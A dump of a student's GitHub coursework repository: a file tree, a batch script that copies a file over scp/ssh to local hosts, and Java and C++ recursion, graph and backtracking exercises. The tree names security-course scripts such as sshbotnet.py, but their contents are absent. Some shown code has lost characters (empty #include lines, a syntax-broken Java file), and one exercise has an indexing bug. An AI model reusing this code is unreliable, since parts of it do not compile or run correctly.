├── .gitignore ├── BatchScript └── script.bat ├── CTDLGT ├── BinaryTre.ts ├── LinkList.ts └── ThuatToanSapXep.ts ├── CTDLGT_NangCao_CoVuThiVan ├── README.md ├── chiadetri │ ├── 5.txt │ ├── 6TimKiemNoiSuy.txt │ ├── DeQuyQuaTrinhMergaSortTraiSangPhai.txt │ ├── DeQuySapXepNhanhGiamDan.txt │ ├── DeQuySapXepNhanhTangDan.txt │ ├── DeQuySapXepTronGiamDan.txt │ └── DeQuySapXepTronTangDan.txt ├── dequy │ ├── 1.txt │ ├── 10.txt │ ├── 10py.txt │ ├── 11.txt │ ├── 12.txt │ ├── 13.txt │ ├── 2.txt │ ├── 3.txt │ ├── 4.txt │ ├── 5.txt │ ├── 6.txt │ ├── 7.txt │ ├── 8.txt │ └── 9.txt ├── dothi │ ├── ChiSoDFS.txt │ ├── ChuyenVeDanhSachCanh.txt │ ├── ChuyenVeDanhSachKe.txt │ ├── ChuyenVeDoThiVoHuong.txt │ ├── DuyetTheoChieuRong1.txt │ ├── DuyetTheoChieuRong2.txt │ ├── DuyetTheoChieuSau1.txt │ ├── DuyetTheoChieuSau2.txt │ ├── KiemTraHuong.txt │ ├── KiemTraTinhLienThong.txt │ ├── KiemTraTinhLienThongManh.txt │ ├── KiemTraTinhLienThongYeu.txt │ ├── LietKeThanhPhanLienThong.txt │ └── ThanhPhanLienThongManh.txt ├── lietke │ ├── 1NhanhCanNguoiDuLich1.txt │ ├── 1QuayLuiInDayNhiPhan1.java.txt │ ├── 2QuayLuiInDayNhiPhan2.txt │ ├── 3QuayluiHoanvi1.txt │ ├── 4QuayLuiHoanVi2.txt │ ├── 5QuayLuiChinhHop.txt │ ├── 6QuayLuiToHop1.txt │ ├── 7QuayLuiToHop2.txt │ ├── 8QuayLuiXepQuanHau.txt │ ├── QuayLuiOcSenAnRau.txt │ ├── QuayLuiXepQuanHau2.txt │ ├── SinhHoanVi1.txt │ ├── SinhInDayNhiPhan1.txt │ └── SinhToHop1.txt ├── quyhoachdong │ ├── BienDoiChuoi.txt │ ├── CaiTui.txt │ ├── DayConCoTongChiaHetChoK.txt │ └── DayConDonDieuTangDaiNhat.txt └── thamlam │ ├── 4ThamLamTrongCay.txt │ ├── ThamLamDoiTien.txt │ └── ThamLamNguoiDuLich.txt ├── CongNgheWebAnToan ├── Lab2 │ ├── 7.5 │ │ ├── images │ │ │ ├── Banner.jpg │ │ │ ├── banner.png │ │ │ ├── bgmenu.gif │ │ │ ├── hoixd_logo.jpg │ │ │ ├── logo_1VS.gif │ │ │ ├── logo_VnDG.jpg │ │ │ ├── logo_bvtnmt1.jpg │ │ │ ├── logo_cenforchil.gif │ │ │ ├── logo_hcauduonghcm.jpg │ │ │ ├── logo_hoisuhoc.jpg │ │ │ ├── logo_khds.jpg │ │ │ ├── logo_nxbtt.jpg │ │ │ ├── logo_thiennhien.jpg │ │ │ ├── logo_undp.jpg │ │ │ ├── logo_vacpa.jpg │ │ │ ├── logo_vdkt.jpg │ │ │ ├── logo_vhgd.gif │ │ │ └── logo_vifotec.jpg │ │ ├── index.html │ │ └── style.css │ ├── cv │ │ ├── imgs │ │ │ └── laydy_loki.jpg │ │ ├── index.html │ │ └── output.css │ ├── info │ │ ├── imgs │ │ │ └── laydy_loki.jpg │ │ ├── index.html │ │ └── output.css │ └── scoreboard │ │ ├── index.html │ │ ├── main.js │ │ └── output.css ├── Lab3 │ ├── 7.10 │ │ ├── index.html │ │ ├── main.js │ │ └── style.css │ ├── 7.11 │ │ ├── imgs │ │ │ ├── 1.PNG │ │ │ ├── 2.PNG │ │ │ ├── 3.PNG │ │ │ └── 4.PNG │ │ ├── index.html │ │ ├── main.js │ │ └── style.css │ ├── 7.12 │ │ ├── index.html │ │ ├── main.js │ │ └── style.css │ ├── 7.3 │ │ ├── index.html │ │ ├── main.js │ │ └── output.css │ ├── 7.4 │ │ ├── index.html │ │ ├── main.js │ │ └── output.css │ ├── 7.5 │ │ ├── index.html │ │ ├── main.js │ │ └── output.css │ ├── 7.6 │ │ ├── index.html │ │ ├── main.js │ │ └── output.css │ ├── 7.7 │ │ ├── index.html │ │ ├── main.js │ │ └── style.css │ ├── 7.8 │ │ ├── index.html │ │ ├── main.js │ │ └── style.css │ └── 7.9 │ │ ├── imgs │ │ └── folder.png │ │ ├── index.html │ │ ├── main.js │ │ └── style.css ├── Lap4 │ ├── 7.10 │ │ ├── index.php │ │ ├── main.js │ │ ├── pages │ │ │ ├── addStudent.php │ │ │ ├── home.php │ │ │ └── listStudent.php │ │ ├── student.txt │ │ └── style.css │ ├── 7.11 │ │ ├── images │ │ │ └── Anh_dai_dien.jpg │ │ ├── index.php │ │ ├── main.js │ │ ├── pages │ │ │ ├── add.php │ │ │ ├── delete.php │ │ │ ├── detail.php │ │ │ ├── edit.php │ │ │ ├── home.php │ │ │ ├── list.php │ │ │ └── student.txt │ │ └── style.css │ ├── 7.12 │ │ ├── index.php │ │ ├── lang │ │ │ ├── english.php │ │ │ └── vietnamese.php │ │ ├── main.js │ │ ├── pages │ │ │ ├── contact.php │ │ │ └── home.php │ │ └── style.css │ ├── 7.13 │ │ ├── connectdb.php │ │ ├── hoso.php │ │ ├── index.php │ │ ├── lop.php │ │ ├── main.js │ │ ├── pages │ │ │ ├── hoSo │ │ │ │ ├── add.php │ │ │ │ ├── delete.php │ │ │ │ ├── edit.php │ │ │ │ └── list.php │ │ │ └── lop │ │ │ │ ├── add.php │ │ │ │ ├── delete.php │ │ │ │ ├── edit.php │ │ │ │ └── list.php │ │ └── style.css │ ├── 7.14 │ │ ├── index.php │ │ ├── libs │ │ │ └── connectdb.php │ │ ├── main.js │ │ ├── pages │ │ │ ├── listClass.php │ │ │ └── listStdInClass.php │ │ └── style.css │ ├── 7.3 │ │ ├── index.php │ │ ├── main.js │ │ ├── pages │ │ │ ├── contact.php │ │ │ ├── drawTable.php │ │ │ ├── home.php │ │ │ └── loop.php │ │ └── style.css │ ├── 7.4 │ │ ├── index.php │ │ ├── main.js │ │ ├── pages │ │ │ ├── caculate.php │ │ │ └── register.php │ │ └── style.css │ ├── 7.5 │ │ ├── index.php │ │ ├── main.js │ │ ├── pages │ │ │ ├── ar1Chieu.php │ │ │ ├── associateArray.php │ │ │ └── uploadFile.php │ │ ├── style.css │ │ └── uploads │ │ │ └── huongDan.txt │ ├── 7.6 │ │ ├── index.php │ │ ├── main.js │ │ ├── pages │ │ │ ├── contact1Page.php │ │ │ ├── home.php │ │ │ └── register.php │ │ └── style.css │ ├── 7.7 │ │ ├── admin │ │ │ ├── index.php │ │ │ └── pages │ │ │ │ ├── home.php │ │ │ │ ├── logout.php │ │ │ │ └── upload.php │ │ ├── index.php │ │ ├── main.js │ │ ├── pages │ │ │ ├── home.php │ │ │ └── login.php │ │ └── style.css │ ├── 7.8 │ │ ├── admin │ │ │ ├── index.php │ │ │ └── pages │ │ │ │ ├── home.php │ │ │ │ ├── logout.php │ │ │ │ └── upload.php │ │ ├── index.php │ │ ├── main.js │ │ ├── pages │ │ │ ├── home.php │ │ │ └── login.php │ │ └── style.css │ └── 7.9 │ │ ├── index.php │ │ ├── libs │ │ └── math.php │ │ ├── main.js │ │ ├── pages │ │ ├── ar1Chieu.php │ │ └── associateArray.php │ │ └── style.css ├── at160419-atwl08.sql ├── atwlab5.pdf ├── link.txt └── ontap │ ├── adduser.txt │ ├── changePw.txt │ ├── edituser.txt │ ├── login.txt │ └── register.txt ├── English ├── 600.txt └── newWords.txt ├── HopNgu ├── BaiTap │ ├── bai1.asm │ ├── bai10.asm │ ├── bai11.asm │ ├── bai12.asm │ ├── bai17.asm │ ├── bai2.asm │ ├── bai3.asm │ ├── bai4.asm │ ├── bai5.asm │ ├── bai6.asm │ ├── bai7.asm │ ├── bai8.asm │ └── bai9.asm ├── DeBaiBaiTap.txt ├── DeBaiGiuaKy.txt ├── DeCuongOnTap.txt ├── DeCuongOnTapv1 │ ├── Dung35starPublicCode.txt │ ├── bai1.asm │ ├── bai10.asm │ ├── bai11.asm │ ├── bai12.asm │ ├── bai2.asm │ ├── bai3.asm │ ├── bai4.asm │ ├── bai5.asm │ ├── bai6.asm │ ├── bai7.asm │ ├── bai8.asm │ └── bai9.asm ├── DeCuongOnTapv2 │ ├── bai1.asm │ ├── bai10.asm │ ├── bai11.asm │ ├── bai12.asm │ ├── bai13.asm │ ├── bai14.asm │ ├── bai15.asm │ ├── bai16.asm │ ├── bai2.asm │ ├── bai3.asm │ ├── bai4.asm │ ├── bai5.asm │ ├── bai7.asm │ ├── bai8.asm │ └── bai9.asm └── GiuaKy │ ├── de1.asm │ ├── de2.asm │ ├── de3.asm │ ├── de4.asm │ ├── de5.asm │ ├── de6.asm │ ├── de7.asm │ └── de8.asm ├── KiemTraCuoiKi7DeLTHDT ├── build.xml ├── manifest.mf └── src │ ├── de01CuoiKi │ ├── Form.form │ ├── Form.java │ ├── Person.java │ └── Student.java │ ├── de02CuoiKi │ ├── Form.form │ ├── Form.java │ ├── NhanVien.java │ └── Person.java │ ├── de03CuoiKi │ ├── Form.form │ ├── Form.java │ ├── SinhVien.java │ ├── SinhVienATTT.java │ └── SinhVienMatMa.java │ ├── de04CuoiKi │ ├── Dictionary.java │ ├── Form.form │ ├── Form.java │ └── Word.java │ ├── de05CuoiKi │ ├── Main.java │ ├── ThiSinh.java │ ├── ThiSinhKhoiA.java │ └── ThiSinhKhoiC.java │ ├── de06CuoiKi │ ├── Book.java │ ├── Category.java │ ├── Form.form │ └── Form.java │ ├── de07CuoiKi │ ├── FormNhapGV.form │ ├── FormNhapGV.java │ ├── GiangVien.java │ └── NhanVien.java │ └── main.java ├── KyThuatLapTrinh ├── BaiTapChuong1 │ ├── bai1.py │ ├── bai10.py │ ├── bai11.py │ ├── bai12.py │ ├── bai13.py │ ├── bai14.py │ ├── bai15.py │ ├── bai16.py │ ├── bai17.py │ ├── bai18.py │ ├── bai19.py │ ├── bai2.py │ ├── bai20.py │ ├── bai21.py │ ├── bai22.py │ ├── bai23.py │ ├── bai24.py │ ├── bai25.py │ ├── bai26.py │ ├── bai27.py │ ├── bai28.py │ ├── bai3.py │ ├── bai4.py │ ├── bai5.py │ ├── bai6.py │ ├── bai7.py │ ├── bai8.py │ └── bai9.py └── BaiTapChuong2 │ ├── Logins.txt │ ├── MySQL.txt │ ├── XSS-attack-vectors.txt │ ├── __pycache__ │ └── nmapPortScanner.cpython-39.pyc │ ├── basicShodanSearch.py │ ├── dnsResolver.py │ ├── fuzzDBLoginPage.py │ ├── fuzzDBSqlInjection.py │ ├── fuzzdbXss.py │ ├── getBannerServer.py │ ├── getHeadersResponseRequest.py │ ├── ip.txt │ ├── nmapPortScanner.py │ ├── nmapScanner.py │ ├── request.py │ ├── shodanInfoHost.py │ ├── shodanSearchFTPVulnerable.py │ ├── sql-attack-vector.txt │ ├── sshbotnet.py │ ├── tcpServer.py │ ├── test.js │ ├── test.py │ ├── testing_url_sql_injection.py │ └── vulnbanners.txt ├── LapTrinhHDT ├── De1MienNam │ ├── DiaChi.java │ ├── HoaDon.java │ ├── HoaDonTungSP.java │ ├── KhachHang.java │ ├── Main.java │ ├── SanPham.java │ └── SieuThi.java ├── De1OnTap │ ├── 263321447_2083144608508402_1811518111754653537_n.jpg │ ├── ChiNhanhNganHang.java │ ├── DiaChi.java │ ├── GiaoDich.java │ ├── KhachHang.java │ ├── Main.java │ └── TaiKhoanNganHang.java ├── De2MienNam │ ├── DiaChi.java │ ├── HoaDon.java │ ├── HoaDonTungSP.java │ ├── KhachHang.java │ ├── Main.java │ ├── SanPham.java │ └── SieuThi.java ├── de2OnTap │ ├── Bao.java │ ├── Main.java │ ├── QuanLySach.java │ ├── Sach.java │ ├── TaiLieu.java │ └── TapChi.java ├── deSo05 │ ├── Main.java │ ├── NhanVien.java │ └── Person.java ├── deSo07 │ ├── Main.java │ ├── ThiSinh.java │ ├── ThiSinhKhoiA.java │ └── ThiSinhKhoiC.java └── giuaKi │ ├── Book.java │ ├── Main.java │ └── Store.java ├── NguyenLyHeDieuHanh └── baiToanDieuPhoiXeBus.c ├── NhapMonMatMaHoc └── EndGame.c ├── README.md ├── ThuatToanATTTDeThi ├── Cau1.c ├── Cau10.c ├── Cau11.c ├── Cau14.c ├── Cau15.c ├── Cau16.c ├── Cau17.c ├── Cau18.c ├── Cau19.c ├── Cau2.c ├── Cau20.c ├── Cau21.c ├── Cau22.c ├── Cau23.c ├── Cau24.c ├── Cau25.c ├── Cau26.c ├── Cau27.c ├── Cau28.c ├── Cau29.c ├── Cau3.c ├── Cau30.c ├── Cau31.c ├── Cau32.c ├── Cau33.c ├── Cau34.c ├── Cau35.c ├── Cau36.c ├── Cau37.c ├── Cau38.c ├── Cau39.c ├── Cau4.c ├── Cau40.c ├── Cau41.c ├── Cau42.c ├── Cau43.c ├── Cau44.c ├── Cau45.c ├── Cau5.c ├── Cau6.c ├── Cau7.c ├── Cau8.c └── Cau9.c ├── kb.txt └── svg └── hieujoyce.svg /.gitignore: -------------------------------------------------------------------------------- 1 | **/nbproject 2 | **/build 3 | **/node_modules 4 | -------------------------------------------------------------------------------- /BatchScript/script.bat: -------------------------------------------------------------------------------- 1 | scp -i ./id_ed25519 ./test.txt hieujoyce@localhost:/home/hieujoyce/ 2 | 3 | ssh -t -i ./id_ed25519 hieujoyce@localhost ^ 4 | "^ 5 | scp -i ~/id_ed25519 ~/test.txt root@172.17.0.3:/; ^ 6 | ssh -t -i ~/id_ed25519 root@172.17.0.3 ^ 7 | \^"^ 8 | cat /test.txt; ^ 9 | echo \^"Co Dai\^" ^> /test.txt; ^ 10 | cat /test.txt; ^ 11 | bash -l^ 12 | \^" 13 | ^" 14 | 15 | pause >nul -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/README.md: -------------------------------------------------------------------------------- 1 | https://www.spoj.com/VTVC2/ 2 | 3 | ----------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dequy/1.txt: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.lang.*; 3 | 4 | class Main 5 | { 6 | public static long tinhGiaithua(int n) { 7 | if (n > 0) { 8 | return n * tinhGiaithua(n - 1); 9 | } else { 10 | return 1; 11 | } 12 | } 13 | 14 | public static void main (String[] args) throws java.lang.Exception { 15 | //System.setIn(new FileInputStream("src/AddingReversedNumbers/input.txt")); 16 | Scanner s = new Scanner(System.in); 17 | int N = s.nextInt(); 18 | for(int i = 0; i <= N; i++) { 19 | //s.nextLine(); 20 | System.out.println(i + "! = " + tinhGiaithua(i)); 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dequy/10.txt: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.lang.*; 3 | 4 | class Main 5 | { 6 | public static double tinhTong(double x, int n) { 7 | if(n == 1) return x; 8 | long fact = 1; 9 | for(int i = 1; i <= n; i++) { 10 | fact = fact * i; 11 | } 12 | return (Math.pow(x, n) / (double)fact)+ tinhTong(x, n - 1); 13 | } 14 | 15 | public static void main(String[] args) throws Exception { 16 | Scanner s = new Scanner(System.in); 17 | int N = s.nextInt(); 18 | for(int i = 0; i < N; i++) { 19 | System.out.printf("%.10f", tinhTong(s.nextDouble(), s.nextInt()) ); 20 | System.out.println(); 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dequy/10py.txt: -------------------------------------------------------------------------------- 1 | import math 2 | def tinhTong(x, n): 3 | if (n == 1): 4 | return x 5 | fact = 1 6 | for i in range(n): 7 | fact = fact * (i + 1) 8 | return (math.pow(x, n) / fact) + tinhTong(x, n - 1) 9 | 10 | m = int(input()) 11 | 12 | for i in range(m): 13 | x, n = input().split() 14 | print("%.8f" % tinhTong(float(x), int(n))) -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dequy/11.txt: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.lang.*; 3 | 4 | class Main 5 | { 6 | public static int handleX(int n) { 7 | if(n == 0) return 1; 8 | return handleX(n - 1) + handleY(n - 1); 9 | } 10 | 11 | public static int handleY(int n) { 12 | if(n == 0) return 0; 13 | return 3 * handleX(n - 1) + handleY(n - 1); 14 | } 15 | 16 | public static void main(String[] args) throws Exception { 17 | Scanner s = new Scanner(System.in); 18 | int N = s.nextInt(); 19 | for(int i = 0; i < N; i++) { 20 | int n = s.nextInt(); 21 | System.out.printf("%d %d", handleX(n), handleY(n) ); 22 | System.out.println(); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dequy/12.txt: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.lang.*; 3 | 4 | class Main 5 | { 6 | public static int check(double[] arr, int n) { 7 | if(arr[n] > 0) return 0; 8 | if(n == 0) return 1; 9 | return check(arr, n - 1); 10 | } 11 | 12 | 13 | public static void main(String[] args) throws Exception { 14 | Scanner s = new Scanner(System.in); 15 | int N = s.nextInt(); 16 | for(int i = 0; i < N; i++) { 17 | int n = s.nextInt(); 18 | double[] arr = new double[n]; 19 | for(int j = 0; j < n; j++) { 20 | arr[j] = s.nextDouble(); 21 | } 22 | System.out.println(check(arr, n - 1) == 1 ? "Yes" : "No"); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dequy/13.txt: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.lang.*; 3 | 4 | class Main 5 | { 6 | public static double tinhTong(int n) { 7 | if(n == 1) return 0.5; 8 | return ((double)n / (double)(n + 1)) + tinhTong(n - 1); 9 | } 10 | 11 | 12 | public static void main(String[] args) throws Exception { 13 | Scanner s = new Scanner(System.in); 14 | int N = s.nextInt(); 15 | for(int i = 0; i < N; i++) { 16 | int n = s.nextInt(); 17 | System.out.printf("%.10f", tinhTong(n)); 18 | System.out.println(); 19 | } 20 | } 21 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dequy/2.txt: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.lang.*; 3 | 4 | class Main 5 | { 6 | 7 | public static long timChuSoLonNhat(long so, long max) { 8 | if(so < 10) return Math.max(so, max); 9 | return timChuSoLonNhat(so / 10, Math.max(max, so % 10)); 10 | } 11 | 12 | public static void main (String[] args) throws java.lang.Exception { 13 | //System.setIn(new FileInputStream("src/AddingReversedNumbers/input.txt")); 14 | Scanner s = new Scanner(System.in); 15 | int N = s.nextInt(); 16 | for(int i = 0; i < N; i++) { 17 | long t = s.nextLong(); 18 | System.out.println(t + ": " + timChuSoLonNhat(t, 0)); 19 | } 20 | } 21 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dequy/3.txt: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.lang.*; 3 | 4 | class Main 5 | { 6 | 7 | public static long demSoChuSoLonNhat(long so, long max, int count) { 8 | if(so < 10) { 9 | if (so > max) return 1; 10 | else if (so == max) return ++count; 11 | return count; 12 | } else { 13 | if ((so % 10) > max) return demSoChuSoLonNhat(so / 10, so % 10, 1); 14 | else if ((so % 10) == max) return demSoChuSoLonNhat(so / 10, max, ++count); 15 | return demSoChuSoLonNhat(so / 10, max, count); 16 | } 17 | } 18 | 19 | public static void main (String[] args) throws java.lang.Exception { 20 | //System.setIn(new FileInputStream("src/AddingReversedNumbers/input.txt")); 21 | Scanner s = new Scanner(System.in); 22 | int N = s.nextInt(); 23 | for(int i = 0; i < N; i++) { 24 | long t = s.nextLong(); 25 | System.out.println(t + ": " + demSoChuSoLonNhat(t / 10, t % 10, 1)); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dequy/4.txt: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.lang.*; 3 | 4 | class Main 5 | { 6 | public static int ucln(int n1, int n2) { 7 | return n2 != 0 ? ucln(n2, n1 % n2) : n1; 8 | } 9 | 10 | public static void main (String[] args) throws java.lang.Exception { 11 | Scanner s = new Scanner(System.in); 12 | int N = s.nextInt(); 13 | for(int i = 0; i < N; i++) { 14 | System.out.println(ucln(s.nextInt(), s.nextInt())); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dequy/5.txt: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.lang.*; 3 | 4 | class Main 5 | { 6 | public static void he2(int n) { 7 | if(n == 0) return; 8 | he2(n / 2); 9 | System.out.printf("%d", n % 2); 10 | } 11 | 12 | public static void main (String[] args) throws java.lang.Exception { 13 | Scanner s = new Scanner(System.in); 14 | int N = s.nextInt(); 15 | for(int i = 0; i < N; i++) { 16 | he2(s.nextInt()); 17 | System.out.println(); 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dequy/6.txt: -------------------------------------------------------------------------------- 1 | import java.util.; 2 | import java.lang.; 3 | 4 | class Main 5 | { 6 | public static double tinhHam1(double n) { 7 | if(n == 1) return 1; 8 | return Math.sqrt(n + tinhHam1(n - 1)); 9 | } 10 | 11 | public static void main (String[] args) throws java.lang.Exception { 12 | Scanner s = new Scanner(System.in); 13 | int N = s.nextInt(); 14 | for(int i = 0; i N; i++) { 15 | System.out.printf(%.10f, tinhHam1(s.nextInt())); 16 | System.out.println(); 17 | } 18 | } 19 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dequy/7.txt: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.lang.*; 3 | 4 | class Main 5 | { 6 | public static void tinhHam2(double n) { 7 | if(n == 0) return; 8 | sum = Math.sqrt(n + sum); 9 | tinhHam2(n - 1); 10 | } 11 | public static double sum; 12 | public static void main(String[] args) throws Exception { 13 | Scanner s = new Scanner(System.in); 14 | int N = s.nextInt(); 15 | for(int i = 0; i < N; i++) { 16 | sum = 0; 17 | tinhHam2(s.nextInt()); 18 | System.out.printf("%.10f", sum); 19 | System.out.println(); 20 | } 21 | } 22 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dequy/8.txt: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.lang.*; 3 | 4 | class Main 5 | { 6 | public static int tinhTong(int n) { 7 | if(n == 0) return arr[n] % 2 == 0 ? arr[n] : 0; 8 | return arr[n] % 2 == 0 ? arr[n] + tinhTong(n - 1) : 0 + tinhTong(n - 1); 9 | } 10 | 11 | public static int[] arr; 12 | 13 | public static void main(String[] args) throws Exception { 14 | Scanner s = new Scanner(System.in); 15 | int N = s.nextInt(); 16 | arr = new int[N]; 17 | for(int i = 0; i < N; i++) { 18 | arr[i] = s.nextInt(); 19 | } 20 | System.out.println(tinhTong(N - 1)); 21 | } 22 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dequy/9.txt: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.lang.*; 3 | 4 | class Main 5 | { 6 | public static int dem(int n) { 7 | if(n == 0) return arr[n] > 0 ? 1 : 0; 8 | return arr[n] > 0 ? 1 + dem(n - 1) : 0 + dem(n - 1); 9 | } 10 | 11 | public static double[] arr; 12 | 13 | public static void main(String[] args) throws Exception { 14 | Scanner s = new Scanner(System.in); 15 | int N = s.nextInt(); 16 | arr = new double[N]; 17 | for(int i = 0; i < N; i++) { 18 | arr[i] = s.nextDouble(); 19 | } 20 | System.out.println(dem(N - 1)); 21 | } 22 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dothi/ChuyenVeDanhSachCanh.txt: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int main() { 6 | int t; 7 | cin >> t; 8 | for(int k = 0; k < t; k++) { 9 | int n; 10 | cin >> n; 11 | int arr[n][n]; 12 | for(int i = 0; i < n; i++) { 13 | for(int j = 0; j < n; j++) { 14 | cin >> arr[i][j]; 15 | } 16 | } 17 | int first = 1; 18 | for(int i = 0; i < n; i++) { 19 | for(int j = 0; j < n; j++) { 20 | if(arr[i][j] == 1) { 21 | if(first == 1) { 22 | first = 0; 23 | } else { 24 | printf(", ", i, j); 25 | } 26 | printf("(%d, %d)", i, j); 27 | } 28 | } 29 | } 30 | cout << endl; 31 | } 32 | 33 | return 0; 34 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dothi/ChuyenVeDanhSachKe.txt: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int main() { 6 | int t; 7 | cin >> t; 8 | for(int k = 0; k < t; k++) { 9 | int n; 10 | cin >> n; 11 | int arr[n][n]; 12 | for(int i = 0; i < n; i++) { 13 | for(int j = 0; j < n; j++) { 14 | cin >> arr[i][j]; 15 | } 16 | } 17 | for(int i = 0; i < n; i++) { 18 | printf("Vertex%4d:", i); 19 | int first = 1; 20 | for(int j = 0; j < n; j++) { 21 | if(arr[i][j] == 1) { 22 | if(first == 1) { 23 | first = 0; 24 | } else { 25 | printf(","); 26 | } 27 | printf("%3d", j); 28 | } 29 | } 30 | cout << endl; 31 | } 32 | cout << endl; 33 | } 34 | 35 | return 0; 36 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dothi/ChuyenVeDoThiVoHuong.txt: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int main() { 6 | int t; 7 | cin >> t; 8 | for(int k = 0; k < t; k++) { 9 | int n; 10 | cin >> n; 11 | int **arr = new int*[n]; 12 | for(int i = 0; i < n; i++) { 13 | arr[i] = new int[n]; 14 | for(int j = 0; j < n; j++) { 15 | cin >> arr[i][j]; 16 | } 17 | } 18 | 19 | for(int i = 0; i < n; i++) { 20 | for(int j = 0; j < n; j++) { 21 | if(arr[j][i] == 1) { 22 | arr[i][j] = 1; 23 | } 24 | cout << arr[i][j] << " "; 25 | } 26 | cout << endl; 27 | } 28 | 29 | 30 | cout << endl; 31 | } 32 | 33 | return 0; 34 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dothi/DuyetTheoChieuRong2.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CTDLGT_NangCao_CoVuThiVan/dothi/DuyetTheoChieuRong2.txt -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dothi/KiemTraHuong.txt: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | // int checkFn(int* arr[], int n) { 6 | // for(int i = 0; i < n - 1; i++) { 7 | // for(int j = i + 1; j < n; j++) { 8 | // if(arr[i][j] != arr[j][i]) { 9 | // return 1; 10 | // } 11 | // } 12 | // } 13 | // return 0; 14 | // } 15 | 16 | int main() { 17 | int t; 18 | cin >> t; 19 | for(int k = 0; k < t; k++) { 20 | int n; 21 | cin >> n; 22 | int arr[n][n]; 23 | for(int i = 0; i < n; i++) { 24 | for(int j = 0; j < n; j++) { 25 | cin >> arr[i][j]; 26 | } 27 | } 28 | int check = 0; 29 | for(int i = 0; i < n - 1; i++) { 30 | for(int j = i + 1; j < n; j++) { 31 | if(arr[i][j] != arr[j][i]) { 32 | check = 1; 33 | break; 34 | } 35 | } 36 | if(check == 1) 37 | break; 38 | } 39 | if(check == 0) 40 | cout << "Undirected graph" << endl; 41 | else 42 | cout << "Directed graph" << endl; 43 | } 44 | 45 | return 0; 46 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/dothi/KiemTraTinhLienThong.txt: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | using namespace std; 5 | 6 | void dfs(int visited[], int index, int ** arr, int n) { 7 | visited[index] = 1; 8 | for(int i = 0; i < n; i++) { 9 | if(arr[index][i] == 1 && index != i && visited[i] == 0) { 10 | dfs(visited, i, arr, n); 11 | } 12 | } 13 | } 14 | 15 | int main() { 16 | int t; 17 | cin >> t; 18 | for(int k = 0; k < t; k++) { 19 | int n; 20 | cin >> n; 21 | int **arr = new int*[n]; 22 | for(int i = 0; i < n; i++) { 23 | arr[i] = new int[n]; 24 | for(int j = 0; j < n; j++) { 25 | cin >> arr[i][j]; 26 | } 27 | } 28 | int count = 0, visited[n]; 29 | for(int j = 0; j < n; j++) { 30 | visited[j] = 0; 31 | } 32 | for(int i = 0; i < n; i++) { 33 | if(visited[i] == 0) { 34 | count++; 35 | dfs(visited, i, arr, n); 36 | } 37 | } 38 | 39 | if(count == 1) { 40 | cout << "Connected"; 41 | } else { 42 | cout << "Not connected"; 43 | } 44 | 45 | cout << endl; 46 | } 47 | 48 | return 0; 49 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/lietke/1QuayLuiInDayNhiPhan1.java.txt: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.lang.*; 3 | 4 | class Main 5 | { 6 | public static int[] arr; 7 | public static int N; 8 | public static void in() { 9 | for(int i = 0; i < N; i++) { 10 | System.out.printf("%d", arr[i]); 11 | } 12 | System.out.println(""); 13 | } 14 | public static void deQuy(int i){ 15 | for (int j = 0; j <= 1; j++){ 16 | arr[i] = j; 17 | if (i == N - 1) 18 | in(); 19 | else 20 | deQuy(i + 1); 21 | 22 | } 23 | } 24 | 25 | public static void main (String[] args) throws java.lang.Exception { 26 | Scanner s = new Scanner(System.in); 27 | N = s.nextInt(); 28 | arr = new int[N]; 29 | arr[0] = 1; 30 | arr[1] = 2; 31 | arr[2] = 3; 32 | deQuy(0); 33 | } 34 | } -------------------------------------------------------------------------------- 